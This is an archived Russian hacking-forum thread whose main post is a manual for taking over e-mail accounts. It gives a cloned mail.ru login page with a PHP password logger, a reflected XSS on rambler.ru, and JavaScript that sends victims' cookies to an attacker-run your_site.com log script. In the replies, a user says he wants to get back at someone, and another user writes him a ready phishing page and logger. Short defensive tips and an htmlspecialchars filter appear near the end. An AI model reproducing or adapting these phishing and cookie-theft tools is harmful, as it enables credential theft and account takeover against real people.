PDA

Просмотр полной версии : Несколько способов взлома e-mail аккаунтов


Chrome~
17.06.2009, 17:00
Несколько способов взлома e-mail аккаунтов

Всем привет! Данный мануал я написал давно уже (около полгода назад) и в то время продавал новичкам с целью обучения. Сейчас я выкладываю его в паблик, так как уже давно хотел сделать это. Нужно отменить, что те, кто имели дело с темой взлома емейлов с помощью фейков и XSS-уязвимостей не найдут для себя ничего нового. Текст на 99% написан мной. Также кто то из моих покупателей пару месяцев назад выложил неполную версию текста, приняв за свой, здесь, на ачате, но позже по моей просьбе его удалили.

Пример XSS-уязвимости рассматриваемый в мануале сейчас уже не актуальный (с тех пор прошло много времени), поэтому вы сможете только представить себе, как все работало раньше.

Копия мануала в Word-формате:
link: http://depositfiles.com/files/om6id6goy
pass: antichat.ru&!@#$

Специально для antichat.ru (http://antichat.ru)

(c) Chrome~

Chrome~
17.06.2009, 17:00
Здравствуйте! Я Chrome~. Сегодня я опишу Вам несколько способов того, как производится взлом e-mail, и как себя защитить от взлома. Я уверен, что на различных сайтах и форумах Вы видели, что люди рекламируют свои услуги взлома всяческих аккаунов. Это могут быть и почтовые аккаунты, и страницы социальных сетей, и игровые персонажи и самые разнообразные учетные записи на других сайтах. Хочется также заметить, что довольно часто мы видим в форумах такие темы и сообщения, как “Помогите взломать e-mail девушки” и т.п.

Как происходит вскрытие почты? Для начала я скажу, что есть несколько способов сделать это:

Взлом почты с помощью фейков. Фейк — это точная подделка страницы авторизации на некотором сайте, в которой пользователь введет свои данные и они запишутся в Вашей базе. Способ заключается в том, что мы сначала подделываем страницу авторизации сайта, пишем несколько PHP скриптов, потом закачиваем созданные файлы к себе на хостинг (можно использовать бесплатный) и отсылаем нашу ссылку жертве. Открывая ссылку, жертва “авторизируется”, и тем самым передает нам свой логин и пароль, которые записываются в нашу базу. Данный способ срабатывает в 60% случаев. Жертва не всегда ведется на то, что бы ввести логин и пароль в нашу подделку. Она может обратить внимание на адрес страницы. Естественно, он будет отличаться от настоящего сайта. Сейчас этот способ не теряет свою актуальность. Он очень часто и широко используется при вскрытии любых аккаунтов.
Взлом почты с помощью XSS-уязвимостей. Данный способ срабатывает приблизительно в 90-95% случаев. Этот способ заключается в использовании XSS уязвимостей сайта. Он намного эффективнее, и жертва даже не всегда понимает, что её логин и пароль уже отправился в Вашу базу данных. Это и не удивляет. Жертва открывает Вашу ссылку, и после загрузки, или даже во время загрузки страницы, выполняется специальный JavaScript код, благодаря которому Вы получаете cookies от необходимого Вам сайта (Что такое cookies и какую пользу можно от них получить, читайте ниже). Данный способ вскрытия аккаунтов используется очень часто, и самое главное, что на него легко можно повестись, даже не подозревая об этом.
Взлом почты с помощью SQL-уязвимостей. Заключается в уязвимости при работе с базами данных. В этой статье он рассматриваться не будет.
Взлом сервера. Самый сложный и наименее используемый способ. В этой статье он рассматриваться не будет.


Для начала я объясню Вам, что такое cookies. Cookies (кукисы) — это специальные переменные, которые устанавливаются браузером, при получении специальной команды от сервера, для определенного сайта, который Вы когда-то посетили. Они сохраняются в пользователя на компьютере. Давайте посетим какой-нибудь сайт. К примеру, http://google.com. Открыли? Теперь в адресной строке, в этом самом окне наберите такой JavaScript код:

javascript:document.cookie

Нам откроется страница с непонятным содержимым. На самом деле, это и есть cookies, который нам установил сайт google.com. Переменные cookies записываются в формате name=value (имя=значение) и разделяются с помощью символа “;”.

Я написал Вам основную информацию о том, какие способы взлома аккаунтов существуют. Теперь я Вам детально попытаюсь объяснить, как работает, и как реализуются первый и второй способа вскрытия (взлом с помощью фейков и взлом с помощью XSS уязвимостей).

Chrome~
17.06.2009, 17:01
1. Взлом почты с помощью фейков

В этом разделе я расскажу, как взломать почту с помощью фейков. Для начала, нам нужно зарегистрировать бесплатный хостинг с поддержкой PHP. В данном примере, я использую http://hostland.su. Регистрация займет у Вас всего пару минут, и еще после регистрации пару минут придется подождать, пока на Вашу почту придет письмо для подтверждения регистрации. После этого можно приступать.

Сначала я расскажу Вам, как делаются фейки.
Давайте сделаем фейк для популярного почтовика http://mail.ru. (Будем использовать браузер Mozilla Firefox 3)

Открываем ссылку http://win.mail.ru/cgi-bin/login, так как именно она есть страницей авторизации. Жмем правую кнопку на теле документа. В контекстном меню выбираем опцию “Исходный код страницы”. Выделяем весь код страницы, копируем в буфер обмена, и вставляем в любой текстовый редактор (Скажем, Блокнот). Далее, мы будем работать только с текстом в окне редактора. Для начала ищем слово “Войти”, потому что в нашем случае именно так подписана кнопка авторизации.

http://s59.radikal.ru/i165/0906/8b/6f771a91cf8dt.jpg (http://radikal.ru/F/s59.radikal.ru/i165/0906/8b/6f771a91cf8d.png.html)

Нашли?

Теперь посмотрите на часть кода, которая находиться между тегами <form> и </form>, и которая включает в себе найденный нами фрагмент “Войти”. Данная часть исходного кода страницы отвечает за отправку данных, введенных в форму на сайт. Вот, как она у меня выглядит:

<form method="post" action="auth" onSubmit="return CheckForm(this);">

<input type="hidden" name="page" value="">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">

<tr>

<td><img src=http://img.imgsmail.ru/0.gif width=55 height=1><br>Имя</td>

<td width=63%><input type="text" name="Login" value="" class=w_100></td>

<td width=37%><select class=w_100 name="Domain"><option value="mail.ru" SELECTED>@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="bk.ru" >@bk.ru</option><option value="list.ru" >@list.ru</option></select></td>

</tr>

<tr>

<td>Пароль</td>

<td colspan=2>

<table width=100% cellpadding=0 cellspacing=0 border=0><tr>

<td width=100%><input type="password" name="Password" class=w_100></td>

<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.mail.ru/pages/help/2.html#2185" target=_new>Забыли&nbsp;пароль?</a></td>

</tr></table>

</td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>

<td>&nbsp;</td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>

<td>&nbsp;</td>

</tr></form>

Давайте обратим внимание на первую строчку кода:

<form method="post" action="auth" onSubmit="return CheckForm(this);">

Эта строчка указывает, куда мы отправляем данные. Данные у нас отправляются на скрипт “auth” (action="auth"). Полный путь к скрипту выглядит так: http://win.mail.ru/cgi-bin/auth. В нашей фейковой странице, мы должны заменить только ту строчку, куда идет отправка данных. В нашем случае, мы будем отправлять данные на наш заранее подготовленный PHP скрипт. Следовательно, заменяем строчку

<form method="post" action="auth" onSubmit="return CheckForm(this);">

на

<form method="post" action="log.php" onSubmit="return CheckForm(this);">

Улавливаете разницу? Теперь форма будет обращаться к log.php. Сохраните отредактированный файл под именем index.htm.

Давайте приступим к написанию скриптов.

Напишем log.php с таким содержимым:

<?PHP
$Login = $_POST['Login']; // Читаем логин
$Domain = $_POST['Domain']; // Домен
$Browser = getenv("HTTP_USER_AGENT"); // С какого браузера зашли
$Pass = $_POST['Password']; // Пароль
$ip = $_SERVER["REMOTE_ADDR"]; // IP жертвы
$Data = date("d-m-y H:i:s", time()); // Дата и время

// Записываем полученные данные
$text = "[$Data] Browser:[$Browser] IP:$ip Мыло:$Login@$Domain Пасс:$Pass";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://win.mail.ru/cgi-bin/login');
// Переводим жертву на
// указанный адрес
?>

Этот скрипт будет получать данные и сохранять их на хосте в нашей базе данных - base.php. И еще. Почему вместо $_POST['Login'] в скрипте мы не можем написать $_POST['login'] или $_POST['LOGIN'] и т.п.? Потому что регистр полей имеет значение. В нас в index.htm написано:

<input type="text" name="Login" value="" class=w_100></td>

значит в скрипте должно быть $_POST['Login']. Если мы “Login” напишем как то по иначе (например, в другом регистре), то обязательно должны заменить “Login” и в скрипте, и в HTML-файле. Что будет, если мы этого не сделаем? Тогда срипт не сможет прочитать передаваемое значение поля. То есть а таком случае переменная $Login в нашем скрипте будет равняться “”, то есть ничему.

Напишем код для файла base.php:

<?php echo '<H1>Доступ к базе закрыт!!!</H1>'; exit; ?>

Если кто то перейдет из браузера по адресу http://your_host.com/base.php, то ему отобразится страница с содержимым “Доступ к базе закрыт!!!”, но если Вы этот файл скачаете с хоста к себе на компьютер, и откроете с помощью текстового редактора, то сможете посмотреть полное его содержимое.

Теперь нужно залить наши файлы на хост. Для этого можно воспользоваться программой Total Comander. Я также хочу заметить, что для загрузки файлов на FTP сервер можно воспользоваться и другими программами.

После того, как Вы подтвердили регистрацию на сайте http://hostland.su (и вообще на любом другом сайте, который предоставляет бесплатные хостинги), Вам должны были прислать письмо, в котором написаны все данные для доступа к новому аккаунту.

Данные для доступа по FTP выглядят примерно так:

host: ftp.tu2.ru
user: username
password: password

Как использовать эти данные? Очень просто! Я покажу Вам это на примере работы с Total Comander. Другие программы настраиваются по такому же принципу. Для начала запускаем Total Comander.

http://i011.radikal.ru/0906/a5/e00b6eefc8cdt.jpg (http://radikal.ru/F/i011.radikal.ru/0906/a5/e00b6eefc8cd.png.html)

Вызываем команду FTP => Соединится с FTP сервером…

http://s50.radikal.ru/i130/0906/3f/edb9633f8615t.jpg (http://radikal.ru/F/s50.radikal.ru/i130/0906/3f/edb9633f8615.png.html)

Теперь нажимаем кнопку “Добавить”, вписываем нужные данные, и жмем “ОК”.

http://s46.radikal.ru/i111/0906/20/c8a64db546aet.jpg (http://radikal.ru/F/s46.radikal.ru/i111/0906/20/c8a64db546ae.png.html)

После того, как Вы все правильно сделаете, выполните команду FTP => Соединится с FTP сервером…, выберете только что созданное Вами подключение и нажмите копку “Соединится”. Заливать файлы на хост также просто, как и копировать их на локальный диск. В письме от поставщика услуг (в данном случае — http://hostland.su), должно быть написано, куда можно закачивать файлы. В нашем случае, файлы можно заливать в папку /htdocs/www.

Загрузим все заранее подготовлены нами файлы (index.htm, log.php, base.php) в эту папку.

Сделали? Теперь откройте любой интернет браузер и перейдите по адресу Вашего сайта. Фейк работает. Введите произвольные значения полей “Логин” и “Пароль” и нажмите кнопку “Войти”. Нужно заметить, что после этого браузер перейдет по адресу http://win.mail.ru/cgi-bin/login, а именно его мы указывали в файле log.php.

Теперь из своего хоста загрузите на компьютер файл base.php и откройте его в любом текстовом редакторе. Если появилась новая запись в которой есть точно введенные Ваши данные — значит, поздравляю, Вы все сделали правильно!

Chrome~
17.06.2009, 17:02
2. Взлом почты с помощью XSS-уязвимостей

В этом разделе я расскажу, как взломать почту с помощью XSS уязвимостей. Что такое XSS уязвимость?

Аббревиатура XSS расшифровывается как Сross Site Sсriрting (“межсайтовый скриптинг”). Принято его называть именно XSS, а не СSS, так как СSS введена намного раньше, и означает она Сasсading Style Sheets – «каскадные таблицы стилей» (применяются в оформлении HTML-станиц). Сross – это «крест», поэтому первая буква в «межсайтовом скриптинге» заменена именно на «X». XSS – это уязвимость на сервере, позволяющая внедрить в генерируемую скриптами на сервере HTML-страницу произвольный код путём передачи его в качестве значения нефильтруемой переменной. Под «нефильтруемой» переменной подразумевается переменная, которая перед её использованием в скрипте (например, PHP) не проверяется на наличие запретных символов, таких, как: <,>,’,” и многих других.

РOST-запрос передаёт переменные через массив, неотображаемый в адресной строке браузера; GET-запрос обнаруживает себя в адресной строке следующим образом:

http://www.somesite.com/index.php?first=1&second=2&third=3

Тут http://www.somesite.com/index.php — некая страница, к которой мы обращаемся, а first=1&second=2&third=3 — это переменные, передаваемые скрипту. В GET-запросе переменные записываются следующим образом:

имя_переменной_1=значение_п ременной_1&имя_переменной_2=значение_п ременной_2&…&имя_переменной_n=значение_п ременной_n

То есть для наглядности примера, запишем еще один GET-запрос:

http://www.somesite.com/index.php?имя_переменной_1=значе ние_переменной_1&имя_переменной_2=значение_п ременной_2&имя_переменной_n=значение_п ременной_n

PHP-скрипт может генерировать html-страницу, в которой выводит значение одной из переданных переменных без всякой фильтрации. НО! Если Вы, составляя GET-запрос, вместо обычного значения переменной подставит какие-нибудь ключевые тэги (например, <sсriрt> или <br>), то они выполнятся интерпретатором!

XSS-уязвимости используются в большинстве случаев для кражи кукисов (сookies в большинстве случаев хранят сессию, присвоив себе которую, можно быть на сайте под чужим аккаунтом. Также они хранят зашифрованный пароль, расшифровав который, можно завладеть аккаунтом). Но XSS-баги не ограничиваются кражей сookies.

Что же позволяют осуществить XSS-уязвимости?

1) Кражу конфиденциальной информации посетителя.
2) Всё, что умеют СGI-, РERL-, PHP-, ASР-скрипты.
3) Непредусмотренные стандартом возможности браузера. (Благодаря уязвимостям в самых браузерах)


В следующем примере я буду использовать браузер Internet Explorer 7. (В этой части статьи будет множество всяких ссылок; эти ссылки нужно вводить либо вручную, либо копировать в буфер обмена и вставлять в браузер; никак иначе я не советую, потому что CTRL + клик по ссылке может не правильно отобразить страницу)

Рассмотрим сайт http://rambler.ru . Воспользуемся поиском сайта. Введем произвольный поисковый запрос, например, “Hollywood” и нажмем кнопку “Найти!”. В результате поисковик выдаст множество сайтов, но внимание мы обратим на адрес страницы в браузере.

(Внимание! На момент написания статьи данная XSS-уязвимость работала. Но на момент модифицирования её закрыли. В цели обучения я привожу новую XSS-сигнатуру: http://ftpsearch.rambler.ru/db/ftpsearch/search.html?words=XSS&ftype=5"><script>alert('XSS')</script>&form=0&hu=1&what=0)

http://s54.radikal.ru/i143/0906/55/10ac66c50efft.jpg (http://radikal.ru/F/s54.radikal.ru/i143/0906/55/10ac66c50eff.png.html)

В меня она выглядит вот так:
http://nova.rambler.ru/search?btnG=%D0%9D%D0%B0%D0%B9%D1%82%D0%B8!&query=Hollywood

Теперь договоримся, что для поиска XSS-уязвимостей будем использовать следующий JavaScript код:

<script>alert("XSS")</script>

Данный код выводит сообщение с текстом “XSS”. Попробуем ввести в поисковую строку этот JavaScript код. Откроется страница с некоторым адресом и с обычным для поисковика содержимым. Но обратим внимание на заголовок окна. У меня он выглядит так:
Rambler: поиск по Интернету. '<script>alert("XSS")</script>' — Windows Internet Explorer
Давайте посмотрим исходный код страницы, в котором найдем первое совпадение со строчкой “<script>alert("XSS")</script>”, то есть строчкой, которую мы ввели в качестве поискового запроса. Нашли? Она должна находиться между HTML тэгами <title> и </title>, которые и отвечают за текст заголовка окна браузера. У меня все это выглядит вот так:

<title>Rambler: поиск по Интернету. '<script>alert("XSS")</script>'</title>

А теперь представим, что случиться, если мы тэг </title> разместим перед нашим скриптом. Получился бы код:

<title>Rambler: поиск по Интернету. '</title><script>alert("XSS")</script>'

который интерпретатор выполнит, поскольку не происходит фильтрации символов, о которых я писал раньше. Но как этого достичь? Оказывается, что очень просто! Давайте введем в поисковую строку такой запрос:
</title><script>alert("XSS")</script>
то есть сами попытаемся закрыть тэг </title>. Как это ни странно, но JavaScript код выполнился, и мы видим результат:

http://s59.radikal.ru/i163/0906/01/e504bf0746cdt.jpg (http://radikal.ru/F/s59.radikal.ru/i163/0906/01/e504bf0746cd.png.html)

Неплохо, правда? Снова смотрим на адрес страницы. Так он выглядит у меня:

http://nova.rambler.ru/search?btnG=%D0%9D%D0%B0%D0%B9%D1%82%D0%B8%21&query=%3C%2Ftitle%3E%3Cscript%3Ealert%28%22XSS%22% 29%3C%2Fscript%3E

Тут переменная query содержит необходимый нам поисковый запрос, то есть строку “</title><script>alert("XSS")</script>” в зашифрованном виде. Помните, как первый раз мы ввели строку “Hollywood” в качестве поискового запроса? Тогда адрес страницы выглядел так:

http://nova.rambler.ru/search?btnG=%D0%9D%D0%B0%D0%B9%D1%82%D0%B8!&query=Hollywood

Видим, что query=Hollywood, что и подтверждает мои слова.

Перейдем по ссылке:

http://nova.rambler.ru/search?btnG=%D0%9D%D0%B0%D0%B9%D1%82%D0%B8!&query=</title><script>alert("XSS")</script>

И снова видим окошко с текстом “XSS”. Давайте попробуем “опустить” переменную btnG, то есть просто удалим её из адреса страницы, и посмотрим, будет ли работать скрипт. Откроем ссылку:

http://nova.rambler.ru/search?query=</title><script>alert("XSS")</script>

Работает!

Только что мы с Вами вывели XSS-уязвимость в сайте www.rambler.ru. Она присутствует потому, что не происходит фильтрации спецсимволов, и мы можем закрыть тэг <title>, что бы выполнился наш код.

Chrome~
17.06.2009, 17:03
3. Использование XSS-уязвимостей

Как же использовать XSS-уязвимости?

Выше я написал, что XSS-уязвимости чаще всего используются для того, что бы получить cookies жертвы. Давайте с помощью найденной уязвимости на Рамблере, подсмотрим наши кукисы. Для этого выполните следующий JavaScript код: (код document.cookie возвращает cookies сайта)

<script>alert(document.cookie)</script>

То есть, откроем страницу

http://nova.rambler.ru/search?query=</title><script>alert(document.cookie)</script>

Мы видим непонятный текст в окошке сообщения. Этот текст и есть наши cookies! Как я раньше писал, они выводятся в формате имя=значение и разделяются “;”.

А что будет, если мы получим кукисы жертвы? Давайте представим такой случай: жертва зашла в свою почту на Рамблере, читает входящие письма. Тут она видит Ваше сообщение, в котором Вы пишете, что нашли прикольный сайт! Заходи! Она переходит по Вашей ссылке… и действительно попадает на какой то сайт. На самом же деле, кукисы уже в нас. Теперь достаточно зайти под браузером, который разрешает редактировать кукисы (например, Opera), и подставить кукисы жертвы, вместо своих. После этого нужно нажать кнопку “Обновить”, — и мы увидим почту жертвы вместо своей.

Как подставить чужие cookies вместо своих в Opera? Очень просто! Достаточно выполнить команду Инструменты => Настройки… и во вкладке “Дополнительно” выбрать пункт “Cookies”. Теперь, в окошке, что появится, выбираем соответствующие имена кукисов, жмем кнопку “Изменить” и заменяем их соответствующими значениями.

http://s41.radikal.ru/i093/0906/70/d29be4201539t.jpg (http://radikal.ru/F/s41.radikal.ru/i093/0906/70/d29be4201539.png.html)

Можете провести эксперимент: зарегистрируйте два почтовых аккаунта на одном и том же почтовом сервере, посмотрите кукисы одного из них и сохраните во временном текстовом файле. Теперь зайдите под вторым аккаунтом, отредактируйте новые кукисы старимы значениями из текстового файла, и нажмите “Обновить”. Мы снова окажемся в первом аккаунте.

Как можно реализовать то, что бы при переходе по ссылке мы получали кукисы того, кто перешел? Очень просто. Помните, как мы учились делать с Вами фейк? Вот теперь нужно создать те же 3 файла, только с немного другим содержимым. Файл base.php должен быть точно таким, как и при создании фейка, а вот код для файла log.php придется переписать немного:

<?PHP
$Cookies = UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы
$Date = date("d-m-y H:i:s", time()); // Дата и время
$browser = getenv("HTTP_USER_AGENT"); // Информация о браузере
$ref = getenv("HTTP_REFERER"); // Страница, с которой пришли
$ip = getenv("REMOTE_ADDR"); // IP адрес

// Записываем полученные данные
$text = "\r\n\r\nDate: $Date\r\nBrowser: $browser\r\nReferer: $ref\r\nIP: $ip\r\nQuery: $Cookies\r\n\r\n";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"$text"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://somesite.ru'); // Переводим жертву на указанный адрес
?>

В этом коде мы будем получать кукисы с помощью GET-запроса и записывать их в файл.

Как же нам отправить GET-запрос с кукисами на наш скрипт? Тут нету совсем ничего сложного!!! Создадим файл js.js с таким содержимым:

var concat = function()
{
var args = Array.prototype.slice.call(arguments);
return args.join("");
}

a = "http://www.your_site.com/log.php?";
b = document.cookie;
location.href = concat(a, b);


В этом JavaScript коде нет ничего сложного. Внимание нужно обратить только на эту строчку:

a = "http://www.your_site.com/log.php?";

Тут должен быть полный путь к нашему log.php файлу, + строка “?”. Далее к этой строке с помощью JavaScript кода мы дописываем значение document.cookie. Благодаря этому мы получаем строку, в которой передаются необходимые cookie.

Последняя строка

location.href = concat(a, b);

Пересылает данные нашему скрипту, который записывает кукисы в базу данных.

Теперь нам нужно сделать файл index.htm с таким содержимым:

<html>
<head>
<META HTTP-EQUIV='Refresh' content ='0; URL= http://nova.rambler.ru/search?query=</title><SCRIPT type=%22text/javascript%22 src=%22http://your_site.com/js.js%22></SCRIPT>'>
</head>
</html>

%22 — это аналог символа " в HTML-encode. Мы пишем здесь именно так, потому что не допускается написание кавычек в кавычках. (пользуемся аналогом кавычек)

Все 4 файла (index.htm, js.js, log.php, base.php) мы должны залить в одну директорию нашего хостинга. При переходе по нашей ссылке http://your_site.com и при условии, что все эти файлы будут в корневом мы получим cookies жертвы к сайту http://rambler.ru. Если Вы хотите, что бы файлы не находились в корневом каталоге Вашего сайта, то нужно будет немного изменить код (вместо http://your_site.com прописать полную ссылку к файлу).

И последнее, на чем я хотел бы сконцентрировать Ваше внимание, это скрипт

<script>location.href="http://nova.rambler.ru/search?query=</title><SCRIPT type="text/javascript" src="http://your_site.com/js.js"></SCRIPT>"<script>

Он делает редирект на страницу http://nova.rambler.ru/search?query=</title><SCRIPT type="text/javascript" src="http://your_site.com/js.js"></SCRIPT>. Что за странное значение получает переменная query? Она передает в себе скрипт

<SCRIPT type="text/javascript" src="http://your_site.com/js.js"></SCRIPT>

благодаря которому в код страницы с результатами поиска прописывается еще весь код файла js.js. В противном случае мы бы должны были прописывать его в ссылку сами, делая саму ссылку невероятно длинной и неудобной. То есть конструкция

<SCRIPT type="text/javascript" src="полный адрес кода"></SCRIPT>

значительно облегчает нашу работу.

Chrome~
17.06.2009, 17:04
4. Виды XSS-уязвимостей

Есть 2 виды XSS-уязвимостей:

1) Пассивные
2) Активные

К этому времени мы использовали пассивную XSS-уязвимость. Пассивные XSS-уязвимости не сохраняются на сервере, они срабатывают тогда, когда пользователь сделает некоторое дополнительное действие, например, кликнет по нашей специально сформированной ссылке. То есть их срабатывание требует некоторого действия от пользователя, и автоматически они не загружаются и не выполняются в браузере.
Активные XSS-уязвимости сохраняются на сервере и не требуют действия от пользователя. Они выполняются при переходе на некоторую страницу зараженного сайта. Как можно добиться такого эффекта? Для примера расскажу Вам активную XSS-уязвимость в он-лайн игре http://combats.ru, котрая была очень давно, и с которой я ознакомился в некоторой статье, но на мое время она уже не работала.

Уязвимость заключался в том, что нефильтровались символы в поле "Домашняя страница". Человек мог написать здесь любой скрипт, который выполниться при просмотре его анкеты. Автор статьи сделал скрипт, который загружался, если человек открывший его страницу с информацией героя, хотя бы на долю мгновения пошевелит мышкой по ней. Все кукисы отправлялись автору на сервер, и он мог войти под любым героем, который посмотрел его анкету. Добиться просмотра анкеты было не сложно — достаточно было всего-навсего подать заявку на бой…


5. Как защитить свой почтовый аккаунт?

Во-первых: никогда не открывайте подозрительные ссылки! Во-вторых, не читайте открытки от неизвестных Вам людей. Чаще всего в сообщениях, в которых говорится о том, что на Ваше имя пришла открытка, есть ссылка на фейковую страницу, которая сначала возьмет необходимые данные, а потом сделает редирект на страницу с открыткой, либо еще куда-то.



С Вами был Chrome~. Спасибо, что проявили интерес к моему материалу. Всего Вам наилучшего!



Внимание! Содержимое данной статьи предоставляется исключительно для ознакомительных целей! Автор не несет никакой ответственности за Ваши действия и за последствия от Ваших действий.

W@r.N0i$e
17.06.2009, 17:44
Лично я ничего нового для себя не узнал. Автор собрал материал из разных статей в одну. Есть кусок статьи с асечки. Для новичков будет полезным прочитать эту статью.

Chrome~
17.06.2009, 19:45
Нет, я не собирал данный мануал из частей. Текст полностью мой. Кстати, на асечке я нашел копию данного материала, правда неполную, так же, как на ачате. Админам асечки я не писал.

Вот ссылка на тему от этого плагиатора: http://forum.asechka.ru/showthread.php?t=109194

Ссылка на тему, в которой раньше велась продажа: http://forum.antichat.ru/showthread.php?t=96688 (чтобы у вас не возникало сомнений)

L I G A
27.06.2009, 20:53
выше упоминалась информация как защитить свой ящик, хочу добавить как защитить свой ресурс от xss,
чаще всего xss встречаются в гостевой книге(я так заметил)
из-за недостаточной фильтрации входящих данных
вот небольшой прример скрипта который фильтрует входящие данные:

<?php
$text= $_POST['slovo'];
if (preg_match("/[<\.\"\>\:\+]/", $text))
echo "XSS";
} else {
echo "ok";
}
?>

if (preg_match("/[<\.\"\>\:\+]/", $text))//проверяет элемент массива $_POST с индексом 'slovo' на наличие вредоносных символов.


Или вот попроще способ и даже можно сказать лучше,сам пользуюсь,потому как посетители часто оставляют сообщения с символами: ">,+,",:" ит.д. тогда предыдущий способ выдаст им "XSS" , на античате сообщения фильтруются таким же способом:

$text=htmlspecialchars($_POST['slovo']);

функция htmlspecialchars()//преобразует специальные символы в HTML аналоги .

Shark_d
29.06.2009, 01:35
Здравствуйте, уважаемые!
Сразу оговорюсь, что я не хаккер, не кодер и пр. и вообще мало в этом разбираюсь. Но! достал меня один г....н и ничего не остается делать, как попытаться "успокоить" его. Но ближе к сути вопроса:
По способу №1 (фейковая страница авторизации). Насколько я понял, способ может сработать не только на мыле, а на любой страничке авторизации пользователя? Так вот, ткните носом, куда подставить адрес моего скрипта "log.php" в данном коде?
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml12.dtd">
<wml>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<meta http-equiv="Cache-Control" content="max-age=0"/>
<meta http-equiv="Cache-Control" content="must-revalidate"/>
<meta http-equiv="Expires" content="Tue, 01 Jan 1970 00:00:00 GMT"/>
</head><card id="main" title="Авторизация">
<p align="center">
Логин:<br/>
<input type="text" name="login9660" maxlength="16"/><br/>
Пароль:<br/>
<input type="password" name="pass9660" maxlength="30"/><br/>
Привязка к IP/браузер:<br/>
<select name="checkIB9660" ivalue="1"><option value="1">вкл.</option><option value="0">выкл</option></select><br/>
<anchor>войти<go href="/auth.php" method="post"><postfield name="login" value="$(login9660)"/><postfield name="pass" value="$(pass9660)"/><postfield name="checkIB" value="$(checkIB9660)"/><postfield name="url" value="/account.php?"/><postfield name="PHPSESSID" value="nmcd6rs62et5q84j0seocodi25"/></go></anchor><br/>
<a href="/?PHPSESSID=nmcd6rs62et5q84j0seocodi25">на главную</a>
</p>
</card>
</wml>
Заранее благодарен

L I G A
29.06.2009, 13:46
Здравствуйте, уважаемые!
Сразу оговорюсь, что я не хаккер, не кодер и пр. и вообще мало в этом разбираюсь. Но! достал меня один г....н и ничего не остается делать, как попытаться "успокоить" его. Но ближе к сути вопроса:
По способу №1 (фейковая страница авторизации). Насколько я понял, способ может сработать не только на мыле, а на любой страничке авторизации пользователя? Так вот, ткните носом, куда подставить адрес моего скрипта "log.php" в данном коде?
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml12.dtd">
<wml>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<meta http-equiv="Cache-Control" content="max-age=0"/>
<meta http-equiv="Cache-Control" content="must-revalidate"/>
<meta http-equiv="Expires" content="Tue, 01 Jan 1970 00:00:00 GMT"/>
</head><card id="main" title="Авторизация">
<p align="center">
Логин:<br/>
<input type="text" name="login9660" maxlength="16"/><br/>
Пароль:<br/>
<input type="password" name="pass9660" maxlength="30"/><br/>
Привязка к IP/браузер:<br/>
<select name="checkIB9660" ivalue="1"><option value="1">вкл.</option><option value="0">выкл</option></select><br/>
<anchor>войти<go href="/auth.php" method="post"><postfield name="login" value="$(login9660)"/><postfield name="pass" value="$(pass9660)"/><postfield name="checkIB" value="$(checkIB9660)"/><postfield name="url" value="/account.php?"/><postfield name="PHPSESSID" value="nmcd6rs62et5q84j0seocodi25"/></go></anchor><br/>
<a href="/?PHPSESSID=nmcd6rs62et5q84j0seocodi25">на главную</a>
</p>
</card>
</wml>
Заранее благодарен

там у тебя нет тега форм как все привыкли что в нем должен указыватся action,и нет сабмита а есть хреф ,вот написал тебе говтовый фэйк

<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml12.dtd">
<wml>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<meta http-equiv="Cache-Control" content="max-age=0"/>
<meta http-equiv="Cache-Control" content="must-revalidate"/>
<meta http-equiv="Expires" content="Tue, 01 Jan 1970 00:00:00 GMT"/>
</head><card id="main" title="Авторизация">
<FORM name=remove ACTION='log.php' METHOD='POST' ENCTYPE='application/x-
www-form-urlencoded'>
<p align="center">
Логин:<br/>
<input type="text" name="login9660" maxlength="16"/><br/>
Пароль:<br/>
<input type="password" name="pass9660" maxlength="30"/><br/>
Привязка к IP/браузер:<br/>
<select name="checkIB9660" ivalue="1"><option value="1">вкл.</option><option value="0">выкл</option></select><br/>
<a href="javascript:document.remove.submit()">войти</a><br></form>
<a href="index.php">на главную</a>
</p>
</card>
</wml>



log.php

<?php
if($login9660 and $pass9660!==0){
$Browser = getenv("HTTP_USER_AGENT");
$ip = $_SERVER["REMOTE_ADDR"];
$Data = date("d-m-y H:i:s", time());
$log= "login:$login9660 |pass:$pass9660 |$Browser |$ip |$Data|||";
$filelog = fopen("base.php","a+");
fwrite($filelog,"\n $log \n");
fclose($filelog);
}
header('Location: http://google.com');//перепишешь адрес
?>

логи пишутся в base.php

HIVER
29.06.2009, 14:43
Или вот попроще способ и даже можно сказать лучше,сам пользуюсь,потому как посетители часто оставляют сообщения с символами: ">,+,",:" ит.д. тогда предыдущий способ выдаст им "XSS" , на античате сообщения фильтруются таким же способом:

$text=htmlspecialchars($_GET['slovo']);

функция htmlspecialchars()//преобразует специальные символы в HTML аналоги .
Товарищ, вы про full path disclosure никогда не слышали? Поиск по форуму где-то рядом.

L I G A
29.06.2009, 15:06
сори метод проглядел там через пост.

Shark_d
29.06.2009, 15:24
L I G A, спасибо за помощь, буду пробовать. (з.ы. Репы добавить не могу почему-то, наверное молод еще)
Добавлено: блин чет не то в фейковой страничке:

Ошибка анализа XML: синтаксическая ошибка (Строка: 9, Символ: 11)
Ошибка:invalid attribute value
Спецификация:http://www.w3.org/TR/REC-xml/#NT-AttValue

L I G A
29.06.2009, 15:51
выложи весь код страницы.

Chrome~
29.06.2009, 17:39
Я точно не уверен, но разве нельзя строчку:
<anchor>войти<go href="/auth.php" method="post">
